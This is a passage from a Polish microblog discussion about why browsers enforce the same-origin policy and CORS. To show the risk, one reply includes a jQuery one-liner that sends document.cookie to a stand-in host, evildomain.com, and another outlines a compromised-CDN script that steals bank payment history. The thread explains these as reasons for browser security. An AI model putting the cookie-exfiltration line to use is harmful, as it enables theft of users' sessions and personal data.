Wpis z mikrobloga

Może inaczej. Wiem po co to jest, ale jednocześnie strasznie przeszkadza w normalnym użytkowaniu aplikacji webowych. Przykłady są zbędne.
@ogur:
@Ginden: Jeśli tego również dotyczy SOP to nie, tego nie chcę ale to da się oddzielić akurat, gorzej jakbym używał twojego kodu wewnątrz swojej strony ale też nie o to mi chodzi tylko o plik JSON pobierany przez XHR.
@Marmite: CORS działa, jeśli serwer na to pozwala. ;( Czy
Nie da się a co to szkodzi? Taki plik nie jest żadnym realnym zagrożeniem

@look997: Taaaa? A co jeśli zrobiłbym coś takiego:

$.ajax('[http://evildomain.com/safefile.json?oopsThisIsPrettyUnsafe=](http://evildomain.com/safefile.json?oopsThisIsPrettyUnsafe=) '+encodeURIComponent(document.cookie))
Serwer zwraca JSON, ale przy okazji dostaje całe cookies w ścieżce. Sorry, SOP jest potrzebne. Wektorów ataku jest mnóstwo.
Prosta sprawa: pobranie pliku JSON przez XHR. Nie da się a co to szkodzi? Taki plik nie jest żadnym realnym zagrożeniem.

@look997: Jest. Wyobraź sobie, że bank ma swoją stronę na Angularze czy Emberze, a dane o rachunku są w pliku JSON.
Ja tylko zaznaczę, że się nie znam. Nauczcie mnie. Pierwszy post zdecydowanie przesadzony ale nadal jest dziwna sytuacja gdzie nie można tego robić a w dowolnej aplikacji serwerowej i desktop-owej można takie coś robić i już. Żadnych przeszkód. A w webowej nie bo coś tam.
I jakie jeszcze są zagrożenia?

@look997: Możesz odczytać dowolną informację ze strony i przesłać ją na dowolny serwer. Wyobraź sobie że włamuję się do popularnego CDN-a, z którego korzysta twój bank, i do pliku z frameworkiem doklejam bardzo króciutki fragment kodu, który uaktywnia się na stronie z historią płatności, odczytuje ją i wraz z twoimi danymi wysyła do mnie.
@Marmite Jeśli w desktopie i serwerze są wystarczające zabezpieczenia bez SOP to może za wzorować się takimi desktopowymi i serwerowymi aplikacjami a nie tworzyć SOP (oczywiście zostawić to co rzeczywiście niezbędne)?
Muszę to na spokojnie zanalizować a wy powiedzcie ,czy tak się da?
Pierwszy post zdecydowanie przesadzony ale nadal jest dziwna sytuacja gdzie nie można tego robić a w dowolnej aplikacji serwerowej i desktop-owej można takie coś robić i już.

@look997: Akurat XHR "bez cookies" są dość bezpiecznym pomysłem, tak przynajmniej mi się wydaje i myślę, że mogłyby zastąpić wiele JSONP.
@Marmite: Przykład z CDNem jest zły, bo wtedy możesz dodać kod przelewający złoto na Twoje konto. :P
@Ginden: No nie wiem, a co z odczytywaniem informacji ze strony i wysyłaniem ich dalej? Nie jest to może zawsze niebezpieczne, ale zapewne czasem niepożądane (vide mój przykład dwa posty wyżej)
@Ginden: No to kombinujmy, żeby takie coś zrealizować, bo aktualnie oddolnie się nie da tego zrobić, trzeba zaangażować twórców przeglądarek.

Dodatkowe pytanie: Czy blokada następuje po stronie przeglądarki, bo jest sytuacja, gdzie używam CORS i taki skrypt i tak jest blokowany. W konsoli pisze, że trzeba skonfigurować odpowiednio serwer. Ale Czy to serwer coś blokuje, czy p prostu przeglądarka nie przyjmuje pliku z serwera, który nie zwraca jakiejś flagi czy czegoś?
@Marmite: @look997: OK, znalazłem wytłumaczenie.

It needs to be an opt-in mechanism to prevent leaking data from resources behind a firewall (intranets). Additionally, for credentialed HTTP requests it needs to be opt-in to prevent leaking potentially-sensitive data.

Ale brzmi coś jak "w zapytaniach HTTP nie możesz wysyłać znaków ", ` i ', bo można je wykorzystać do SQL Injection".
@look997: @Ginden:
Blokada jest po stronie przeglądarki.

Chodzi o to, żebyś po wejściu na stronę jakiegoś mirka nie pobrało Ci historii z banku.
Czyli bank ustawia CORS tylko na swoje domeny. Mirek napisał skrypt, który próbuje pobrać dane z bank.pl/history
Przeglądarka DOSTAJE dane z banku, tylko że w nagłówku widzi "CORS: bank.pl, bank.com.pl" i nie daje dostępu do danych skryptowi Mirka.

Co ciekawsze - ta "technologia" (jakkolwiek to nazywać) nie